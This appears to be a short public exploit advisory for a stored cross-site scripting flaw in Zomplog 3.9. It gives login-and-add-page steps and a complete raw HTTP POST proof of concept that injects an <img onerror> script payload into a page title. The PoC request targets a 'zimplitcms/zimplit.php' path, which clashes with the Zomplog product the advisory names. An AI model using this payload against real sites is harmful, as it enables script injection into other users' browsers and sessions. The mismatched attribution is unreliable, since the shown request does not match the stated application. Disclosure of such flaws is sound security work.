Zomplog 3.9 Cross Site Scripting

`Exploit Title: Zomplog 3.9 - Cross-site scripting (XSS)  
Application: Zomplog  
Version: v3.9  
Bugs: XSS  
Technology: PHP  
Vendor URL: http://zomp.nl/zomplog/  
Software Link: http://zomp.nl/zomplog/downloads/zomplog/zomplog3.9.zip  
Date of found: 22.07.2023  
Author: Mirabbas Ağalarov  
Tested on: Linux   
  
  
2. Technical Details & POC  
========================================  
steps:   
1. Login to account  
2. Add new page  
3. Set as <img src=x onerror=alert(4)>  
4. Go to menu  
  
Poc request:  
  
POST /zimplitcms/zimplit.php?action=copyhtml&file=index.html&newname=img_src=x_onerror=alert(5).html&title=%3Cimg%20src%3Dx%20onerror%3Dalert(5)%3E HTTP/1.1  
Host: localhost  
Content-Length: 11  
sec-ch-ua:   
Accept: */*  
Content-Type: application/x-www-form-urlencoded  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36  
sec-ch-ua-platform: ""  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/zimplitcms/zimplit.php?action=load&file=index.html  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: ZsessionLang=en; ZsessionId=tns0pu8urk9nl78nivpm; ZeditorData=sidemenuStatus:open  
Connection: close  
  
empty=empty  
  
`